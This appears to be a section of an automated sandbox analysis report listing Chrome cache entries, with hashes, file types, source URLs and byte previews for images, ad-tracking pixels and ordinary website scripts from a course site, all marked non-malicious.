SHA1:	A9E229587FCEBB700F1788CEBE9E80F0DE536016
SHA-256:	B0EAA7A70F0B262F959263D8DBB1D8EB0A738620BA9F74D53A91392135FAABDD
SHA-512:	B29E2F6A6129C681A0D51B0ACBBEF8AD479E0D0209A6EB467CFD87726AC2E629E13ED8436248EF3D075848BE5D0DEFC37FABDB545CDDE9C4634183BCAD6F44EB
Malicious:	false
Reputation:	low
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................".....................................................................................@I......F6.F...........e....9..H..& s.$.$.$......hMS..[4-......".z.../._.\|..>z...+....<v\|U.M..}.... ..3}B....3........YoVWV.......B..pj.......F7x..N5...H.6.D#.z..r...._7.%d...c...f..5/._.\|....R.X;l.lr.\{<z.&.....O,.z!Hm..B^...UQN..y!u.G.W.z...9..^l.Z../.>....2......YN.f./N..\|%..s.>.,S....{!..G..K...UuG... . ...y.;5/._.\|..0.....K}..O\.i>yTK..N..LO.F[.y....I;.c......f.../........`P.-9..1)Y. .G..SbQ._.P...LI..S.G<......V.N..&;k........y.di^.o.>#o...[.f.f..;..}7.gI...3..K....<r.......pb=_/....(...\\|1K.H.O..y.:.........@.s.s.;..... Z&Q/w.u..w'._..5,...~.a3..@.6:@..^..y.&.bUu.H.`.2.c...\.V..%.F.....I}.....<)-..../S..T!.a./Z...wK...........Z...I..OT.8.8...X.."._...x..)-....4.w.[.'...j.I..@.@.

Chrome Cache Entry: 669

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 24 x 24, 2-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	172
Entropy (8bit):	5.89051759974696
Encrypted:	false
SSDEEP:	3:yionv//thPlclBpNgSaRWW/bFqfBxtcJpmqpj43+/DhTnA6h/JMqiDTjTiOO7dlK:6v/lhPKN2SaRJosBN4OLFA64qiDnTyuh
MD5:	5B2C20761A80C77F3C81558F3201EFC6
SHA1:	AB8890CF81CE149C5909570E8C725B779FB03B8A
SHA-256:	73CB91518C98A64D313704833206F4FECFF0309F31621A098A4E8165E3E00648
SHA-512:	C27817EFEAE980B0BCCE4562CDFA569FF9CAF5EBD48606E7F8C31CADE6C5F955394683DF20B33DDC3283A07507D2BBAA76B30DEA203444EF1C438E237A00AC73
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................k....PLTE............8.;.....tRNS.`.PpX...LIDAT..-....!..r.c.va(.a4F"..H.b.&'=.6e.&.c%..!............,.~..v.9.E.5......C.gj.Af....IEND.B`.

Chrome Cache Entry: 670

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	"https://imp-dev.mediavine.com/record?impkey=V1:4pWhrigkTpQqlEPU:q81AWqzfZ3Qx+ss6XCFB4zZJsWFbq/VbMeubefY4APG4mG6czwy+1o48KJ0SudtKIseV3oDZqLK+NG8/fQpG0sV5qSbufT+A2cQc8wHvZD6PdcY=&slot=adhesion_desktop&page_url=https://earnandexcel.com/courses/power-query/&site=earn-and-excel&path=/courses/power-query/&secure=1&sessiondepth=4&optout=&categories=hobbies-and-interests&generator=web&bucket=53&referrer_url=DIRECT&utm_source=&utm_campaign=&dow=4&day=11&month=4&hour=21&wrapper_group=3.1.3&wswy=0&sessionId=668614997&page_view_id=1k070l0b1l0t130r1h081611160i091l&groupm=1&browser=Chrome&os=Windows&lang=en-US&s2sVersion=production&hb_bidder=gumgum_s2s&hb_adid=245cea41d22c0b4&hb_pb=1.77&hb_sdef_set=0.978628354491&hb_bid=1.77&hb_bsbid=1.7657922832&hb_safeframe=0&hb_s2sBidder=gumgum&hb_liv=4&hb_ub=1.77&hb_size=728x90&hb_pb_triplelift=0.55&hb_pb_rubicon=0.57&hb_pb_mediadotne_s2s=0.41&hb_pb_gumgum_s2s=1.77&sales_cat=132&sales_safety=GGT0&sales_kw=course,earn,student,minute,commitment,videolesson,trainingdashboard,skill,day,multiplecurrency,world,mytraining,remittance,transfer,debitcard&sales_segment=GumGumVeritySeasonal-FathersDay,GumGumVeritySeasonalSegment-Backto,GumGumVeritySeasonal-MothersDay&partnerLift=improvedigitalE6M2&slot_id=adhesion_desktop&hb_count=4&hb_pmp=0&UR=177&URP=220&OE=0&google=1&native=1&slot_number=1&slot=adhesion_desktop&arrival=0&refresh=0&sspm=1&bidFloor=0.23&ccpa=1---&psa=6,12,3&timeout=adhesion_atf_d_2801&gid=0&inview=0&adomain=bluebuffalo.com&grow_state=4&grow_version=7.239.1&dsp_id=15&3pc=1&illr=0&gpp=0-0-0&pps=687&pair_id=0&deprecationLabel=na&parent_adunit_name=earnandexcel&slotName=adhesion&device=desktop&country=US&offeringId=1&adProduct=display&oCpm=1.7711055999999998"
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 671

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4921)
Category:	downloaded
Size (bytes):	4960
Entropy (8bit):	5.388546837667422
Encrypted:	false
SSDEEP:	96:B0N6AUjqn93zCpxYf8oqallarNVwbVLXkqfjQezovOP8S2:2N6j493GPRjNwdXkymOUS2
MD5:	9F78B3EE0703284055E0A0151757B584
SHA1:	68F0B5ED88ED3DE0BCD49DDA79AE0D1A236F540C
SHA-256:	6B417383C25554EB37E8D178BAE67272ED19DABA517ED00671FCCF2D0B49530E
SHA-512:	959559F3B32E6042792F2956E9DC3EFBB5900EE0212AFE0382655AA4A1C6A3E9719F84D2451325870CCA3B54C9F21E03782CE92B0FFF9BF72EB914BE03D1961A
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js
Preview:	/! elementor - v3.6.0 - 21-03-2022 /.(()=>{"use strict";var e,r,_,t,i,a={},n={};function __webpack_require__(e){var r=n[e];if(void 0!==r)return r.exports;var _=n[e]={exports:{}};return a[e](_,_.exports,__webpack_require__),_.exports}__webpack_require__.m=a,e=[],__webpack_require__.O=(r,_,t,i)=>{if(!_){var a=1/0;for(u=0;u<e.length;u++){for(var[_,t,i]=e[u],n=!0,c=0;c<_.length;c++)(!1&i\|\|a>=i)&&Object.keys(__webpack_require__.O).every((e=>__webpack_require__.O[e](_[c])))?_.splice(c--,1):(n=!1,i<a&&(a=i));if(n){e.splice(u--,1);var o=t();void 0!==o&&(r=o)}}return r}i=i\|\|0;for(var u=e.length;u>0&&e[u-1][2]>i;u--)e[u]=e[u-1];e[u]=[_,t,i]},_=Object.getPrototypeOf?e=>Object.getPrototypeOf(e):e=>e.__proto__,__webpack_require__.t=function(e,t){if(1&t&&(e=this(e)),8&t)return e;if("object"==typeof e&&e){if(4&t&&e.__esModule)return e;if(16&t&&"function"==typeof e.then)return e}var i=Object.create(null);__webpack_require__.r(i);var a={};r=r\|\|[null,_({}),_([]),_(_)];for(var n=2&t&&e;"object"==typeof

Chrome Cache Entry: 672

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.247548241669875
Encrypted:	false
SSDEEP:	3:YAQ2qSABLpF2yh26RrU/qAwqSABHY:YAQV9pF2x6YxY
MD5:	6A9CA355F8CBE556999E1D90DE9D39E3
SHA1:	917477722E600955AE9CCAF8FCD1DB446DB3F042
SHA-256:	566C28DE671DDA53FA3C8742171D876B8A48A28D68DDFEFFA615A47527A5DC8A
SHA-512:	B643EDCCCCF69C7322A1677157428892F79A8A9DB1CE4E86316BB43111E9CBEC1CA5EA85E79A4230A17775309FE8A605D271A21F223BAB409F78E33CE0C8C6A1
Malicious:	false
Reputation:	low
Preview:	{"error": "Method not allowed.", "statusCode": 405, "statusMessage": "method not allowed"}

Chrome Cache Entry: 673

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 960x300, components 3
Category:	downloaded
Size (bytes):	40091
Entropy (8bit):	7.922490144797244
Encrypted:	false
SSDEEP:	768:KYyHl9LZyddMwSn2yG6IFUybNdK87/reGxdmu3M+b7x:Kpud2HnxIFU+xThBnx
MD5:	48F6DD596E55E9106A4FB20C61D7CDC5
SHA1:	D3D6BE2A438E68B324FBA046C55594D6B33B1716
SHA-256:	8BF0F83EAE82072A2E306D2159F9F68C089927FD41C9CE6BBD3BCFA5D30324A0
SHA-512:	D5A2BF288243AB1CF1EEA23895D1F4F79D74EC153AB69AB2EF9A1927D58AE7AF8D212679F5C776ACBAA9B0DF24BA61F07CA82C133901950053C68B56C6574C28
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/simgad/4139665402427409239/6592766407814317453
Preview:	......JFIF.............XICC_PROFILE......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch..............................................desc........IEC 61966-2.1 Default RGB colour space - sRGB............IEC 61966-2.1 Default RGB colour space - sRGB......................desc.......,Reference Viewing Condition in IEC61966-2.1...........,Reference Viewing Condition in IEC61966-2.1........

Chrome Cache Entry: 674

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15440), with no line terminators
Category:	downloaded
Size (bytes):	15440
Entropy (8bit):	5.090174414950884
Encrypted:	false
SSDEEP:	384:Iwl6WcwNAcnqZjbqkoe5Yl8V3aomkQAZmfmVFbEoXzd5A:Iwl6fckbqDyYl8VoJVgF4ozA
MD5:	38E46066430DC5EEA253453493FB28AB
SHA1:	F274B31CED7BD6A678B539DD7FE6EB1E1E862F3D
SHA-256:	102B1F6E5438A01B240657EDEE3D95111D8631A79D1301C7DB713E0FA91B7013
SHA-512:	A18C33BC4AAD98FD295FDD6524B8B96D6A3653569DE85CB45C6BF02D3A0DCF431D8749DB39E1ABEB5738F99416F515CD66B5D08330971BC5621EE08343EBD9D7
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/tutor/assets/packages/SocialShare/SocialShare.min.js
Preview:	(function(t){function e(e){if(e.classList){return e.classList}else{return t(e).attr("class").match(/\S+/gi)}}t.fn.ShareLink=function(l){var r={title:"",text:"",image:"",url:window.location.href,class_prefix:"s_"};var l=t.extend({},r,l);var i=l.class_prefix.length;var o={twitter:"https://twitter.com/intent/tweet?url={url}&text={text}",pinterest:"https://www.pinterest.com/pin/create/button/?media={image}&url={url}&description={text}",facebook:"https://www.facebook.com/sharer.php?s=100&p[title]={title}&u={url}&t={title}&p[summary]={text}&p[url]={url}",vk:"https://vkontakte.ru/share.php?url={url}&title={title}&description={text}&image={image}&noparse=true",linkedin:"https://www.linkedin.com/shareArticle?mini=true&url={url}&title={title}&summary={text}&source={url}",myworld:"https://connect.mail.ru/share?url={url}&title={title}&description={text}&imageurl={image}",odnoklassniki:"http://odnoklassniki.ru/dk?st.cmd=addShare&st.s=1&st._surl={url}&st.comments={text}",tumblr:"https://tumblr.com/s

Chrome Cache Entry: 675

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.849223912390625
Encrypted:	false
SSDEEP:	3:jKC+IuJu:lGu
MD5:	2CF9C70D59CF58EA0DF1042EA8EB2CFC
SHA1:	73D3B76F00EB047E4FD3E88F6757A350DD1B4BA1
SHA-256:	E1C5C764F272B8D760C3DC6CA97FC3B22D0E3CE2BE43281CE2C6E8D89A6A8790
SHA-512:	7586B4286118F39D2D88605E0452B69E2325C3CF3687D5C11AAD0E305A049D600770D85D48530CA6D84E34C71B8C15F6CD1CEA73A8010CF19062E55D5657C71F
Malicious:	false
Reputation:	low
Preview:	Resource not available.

Chrome Cache Entry: 676

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 677

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4320)
Category:	downloaded
Size (bytes):	4321
Entropy (8bit):	5.408252556402253
Encrypted:	false
SSDEEP:	96:EdphI+rvyMW026p4cHFpd9z9UC5H2zSwJN9QOcjxd3W:4/rW026p4cHFpd9zJASyNaTdm
MD5:	77FF4EDE4693897337A38594321529A3
SHA1:	968E57B7B4229F70A6901D1B3F7D7C3F9300502E
SHA-256:	84E5AA85594B35C4B60787F4A97E2E1EB369DACBE23D8154F61F60BB0343D465
SHA-512:	66C9E1B08C5846044B6014A15249ED5C5A420A11C1765978642F132C6F9275852AB9700EEA3B3E524E5EF96E1A56C92E3FAFBF13E71F5F82633502CCF71764BD
Malicious:	false
Reputation:	low
URL:	https://sb.scorecardresearch.com/internal-cs/27053452/beacon.js
Preview:	var COMSCORE=function(e){function n(e,n,r){-1==e.indexOf("?")&&(e+="?");var t=!1;(-1!=e.indexOf("&")\|\|e.length-1>e.indexOf("?"))&&(t=!0);for(var a=0;a<n.length;++a){var i=n[a];for(var c in i)t&&(e+="&"),t=!0,e+=c+"="+o(i[c]+"")}return e=function(e,n){if(e.length>n){var r=e.substring(0,n-8).lastIndexOf("&");e=(e=e.substring(0,r)+"&ns_cut="+o(e.substring(r+1))).substring(0,n)}return e}(e,r),e}function r(e,n){for(var r in n)e[r]=n[r]}var o="undefined"!=typeof encodeURIComponent?encodeURIComponent:escape,t="undefined"!=typeof decodeURIComponent?decodeURIComponent:unescape;function a(e,n,o,a){var i=[{},{cs_it:o,cv:"4.0.0+2301240627",ns__t:+new Date,ns_c:a?a.characterSet:""},{}];for(var c in window!=window.top&&(i[1]["ns_if"]=1),a&&(i[2]={c7:a.URL,c8:a.title,c9:a.referrer}),e){var f=e[c];"string"!=typeof f&&"number"!=typeof f\|\|("c1"==c\|\|"c2"==c?i[0][c]=f:i[1][c]=f)}if(!i[0]["c2"])return!1;if(i[0]["c1"]\|\|(i[0]["c1"]=2),n.url_append){var u=function(e){for(var n={},r=e.split("&"),o=0;o<r.length

Chrome Cache Entry: 678

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2627), with no line terminators
Category:	downloaded
Size (bytes):	2627
Entropy (8bit):	5.717129088234424
Encrypted:	false
SSDEEP:	48:C2Bq2mT5ndXQGL2Bqs2BqhybCS545Pi/5CS35ydNnqAGafTd/5q:C2Bq2mFnq42Bqs2BqhybCS5WI5PpyDn0
MD5:	2DC494123BE8D4251DE7BE6733A18AFA
SHA1:	7AB7C7B5305B54E652C33F1A3DA8229DE118574E
SHA-256:	E391CABB8B987BC3747A9DE9C30E74F1166C7CEE8B95783BE59D40ED56BB43D1
SHA-512:	A22855FBDF6079D99BFC08E28A146CB6CB7A214B3AA16F764AF4DC4DF0ED36ED8604B13B4B62F933D13F5AD66FBA6705913F0CA1EF0DBD8987E962054A0DFA90
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=7994817&p=157108&s=0&a=0&ptask=ALL&np=0&fp=0&rp=0&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1---
Preview:	PubMatic.loadAsyncImagePixel('https://cm.g.doubleclick.net/pixel?google_nid=pmeb&google_sc=1&google_hm=JflUnhNqR-mRcdpEwODV4w%3D%3D&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://pixel.tapad.com/idsync/ex/receive?partner_id=3371&partner_device_id=25F9549E-136A-47E9-9171-DA44C0E0D5E3');PubMatic.loadAsyncImagePixel('https://us01.z.antigena.com/l/FZt5psomz79DGe~O1V5PkX7S8-NVJIdw0INR-k~Duu9c36GyIDyElf4y8fa2~-9InNSq4BCadyu-8tQSiIkaVleT~Yh8GI4ocNSeo4~API4DJEsYNIMg2sPMMXvjcckTUFy53ZYw3gzv35jSAchydRkSr2XFgqe-kzzlKTlv1VT7-TlAc0PcX7nFzbKlHypwbpU3AWUAJgUx 25F9549E-136A-47E9-9171-DA44C0E0D5E3&rnd=RND');PubMatic.loadAsyncImagePixel('https://eb2.3lift.com/xuid?mid=7976&xuid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&dongle=u6nf&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://cm.g.doubleclick.net/pixel?google_nid=pubmatic&google_hm=MjVGOTU0OUUtMTM2QS00N0U5LTkxNzEtREE0NEMwRTBENUUz&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://cm.g.doubleclick.net/pixel?google_nid=pu

Chrome Cache Entry: 679

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0950611313667666
Encrypted:	false
SSDEEP:	3:CUMllRPQEsJ9pse:Gl3QEsJLse
MD5:	AD4B0F606E0F8465BC4C4C170B37E1A3
SHA1:	50B30FD5F87C85FE5CBA2635CB83316CA71250D7
SHA-256:	CF4724B2F736ED1A0AE6BC28F1EAD963D9CD2C1FD87B6EF32E7799FC1C5C8BDA
SHA-512:	EBFE0C0DF4BCC167D5CB6EBDD379F9083DF62BEF63A23818E1C6ADF0F64B65467EA58B7CD4D03CF0A1B1A2B07FB7B969BF35F25F1F8538CC65CF3EEBDF8A0910
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 680

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=539237773&val=0c9312d5-512b-ada7-6234460d
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 681

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 384 x 383, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	8242
Entropy (8bit):	7.872020282175507
Encrypted:	false
SSDEEP:	96:qBGvbQ4uPpuepcOFS5xUJRc4IN5YKfZPgH24Oyy3J7EI5gn3n4aQBq4/9mZ5HgN6:jvbQ4oqOFQ8C9ZYH+dZ75k4aQBNmA8+u
MD5:	D45C3C1E31AA2187B564AD541A5B789E
SHA1:	70362E7FCE2CB20DECBBC5799F1682F6A2D2BADF
SHA-256:	CE52BAB0A07A506D6D8EC13BFBED63F1DF18E3C695FBF81DF61328A2CF46829B
SHA-512:	213EECB01A1CBC28CB081BD2FA29FDC9B522690A9F8977874CA3E50BAC106E2BB86FBDE7E8F7A8104BC900B57D255F5016D17E6E5E2B633745C11C0525548445
Malicious:	false
Reputation:	low
URL:	"https://import.cdn.thinkific.com/cdn-cgi/image/width=384,dpr=1,onerror=redirect/121573/LLYgB4OSQfOGHjjx3Y5O_Logo%20Pic%20G.png"
Preview:	.PNG........IHDR.............w..A....PLTE...(((..R...&&&'''%%%CCCBBBDDD...aaa.....T......jjj4.D.........)))................EEE......U...,,,..................kkk......MMM"""\|\|\|zzz$$$...III@@@..P.....Q...555iii......sss......###...vvv........333...AAA..Q...+++.....RXXX...JJJ...]]].....P...eeeNNN...\\\......8.h.....;000.........WWWGGGLLL..............R..............Ryyy..RRRR...UUU..O111S.}ooo.......................PPP......>>>......:::.........YYY........O!.W...\.888........t.........TTT......mmm......... .V...~~~...ppp..@d...\|..............%.Z666......___........s,.^.....G.s...............A.o...............,....._............./.b........(.[..J..5<<<...bbb........Q..........R ..g...&....(..T.}M.xuuu..........{............Z.....UO.vm.........S.../.?..{....gj......IDATx..y\...'1..P.^l$5)_..R. .e.P..d...A..v%......"..Q+*.Vk..^k[k][.T..om{..o.%.-..d.@h}.?..9...$gy.{. ........................................................................

Chrome Cache Entry: 682

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (60835), with no line terminators
Category:	downloaded
Size (bytes):	60835
Entropy (8bit):	5.519949356111581
Encrypted:	false
SSDEEP:	1536:y8bu3MuF2wXePR2T/HbREm93lhbozxXBB0l+1H9RpkFmI6fnu0MIBG+CwmzpRlWF:y8KB3lhcz7kFmI6fniIBGrwmzpRlW9lZ
MD5:	3AC36B93E230C09ABEA8266587E3313B
SHA1:	CA2C6609B8BD1711D55DC94B5A98987E68545224
SHA-256:	E7DC2D96E7B17036114E965BC4FD20227F0285F0E0A7530015FB57E6EE3A959C
SHA-512:	4C00C4E494C7FD15F662D256885381CE7DA3B48223D78A75A7E5B789CD9CC32D6D7FE3C6E5F440A9DC67ED244E4E44D30A09F1AEB42AACDA93EEF0B1AE4C36B8
Malicious:	false
Reputation:	low
URL:	https://scripts.mediavine.com/tags/6381/7b1b5bc2bf50b7f1fd3d.min.js
Preview:	"use strict";(self.mvWrapperJsonp=self.mvWrapperJsonp\|\|[]).push([[6381],{8473:(e,t,s)=>{s.d(t,{W4:()=>Ae,Dc:()=>a,HR:()=>_,n1:()=>se,An:()=>Ee,E:()=>re});class n{gppVersion;cmpStatus;cmpDisplayStatus;signalStatus;supportedAPIs;cmpId;sectionList;applicableSections;gppString;parsedSections;constructor(e){this.gppVersion=e.gppVersion,this.cmpStatus=e.cmpStatus,this.cmpDisplayStatus=e.cmpDisplayStatus,this.signalStatus=e.signalStatus,this.supportedAPIs=e.supportedAPIs,this.cmpId=e.cmpId,this.sectionList=e.gppModel.getSectionIds(),this.applicableSections=e.applicableSections,this.gppString=e.gppModel.encode(),this.parsedSections=e.gppModel.toObject()}}class i{callback;parameter;success=!0;cmpApiContext;constructor(e,t,s){this.cmpApiContext=e,Object.assign(this,{callback:t,parameter:s})}execute(){try{return this.respond()}catch(e){return this.invokeCallback(null),null}}invokeCallback(e){const t=null!==e;this.callback&&this.callback(e,t)}}class r extends i{respond(){let e=new n(this.cmpApiCon

Chrome Cache Entry: 683

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?p=157108&userIdMacro=PID&us_privacy=1---&gdpr=0&gdpr_consent=&predirect=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dpubmatic%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3DPID
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 684

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537073059&val=Q7661572291818641876P
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 685

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	471
Entropy (8bit):	5.022284930450752
Encrypted:	false
SSDEEP:	12:YsfXGpLDltUXGpLDlttQXGpLDltoyHwHPjrHdMqY:YsfGdltsGdlttIGdltoUyPjTuqY
MD5:	ED5E0CC93637E936CF4A4A1D2C70CD21
SHA1:	75655A53E44ED1CEB010A6ABE0669FD38180A3B5
SHA-256:	46BF2987C83E22BD6BB782658762840E43C3389176AB927FF6DA4029F567A7A7
SHA-512:	053D4911BEB1B3518B49D47D3F7A5F7F91A458DA26C3AEA00121225BBEAAA8F2CB0E74FECA7ADB6D6A0EBA38D5C631E273B11BBED3E2A625128F4517948484D9
Malicious:	false
Reputation:	low
Preview:	{"3pvendor":"(function(){if (window.apstag) {window.apstag.__liveRamp__ = false;}})();;(function(){if (window.apstag) {window.apstag.__pubcommon__ = false;}})();;(function(){if (window.apstag) {window.apstag.__id5__ = false;}})();","3pmetadata":"[{\"propertyId\":\"44\",\"vendorId\":\"liveRamp\",\"sourceId\":\"600\"},{\"propertyId\":null,\"vendorId\":\"pubcommon\",\"sourceId\":\"600\"},{\"propertyId\":null,\"vendorId\":\"id5\",\"sourceId\":\"600\"}]","3psamplerate":5}

Chrome Cache Entry: 686

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 687

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	118
Entropy (8bit):	4.562332513303662
Encrypted:	false
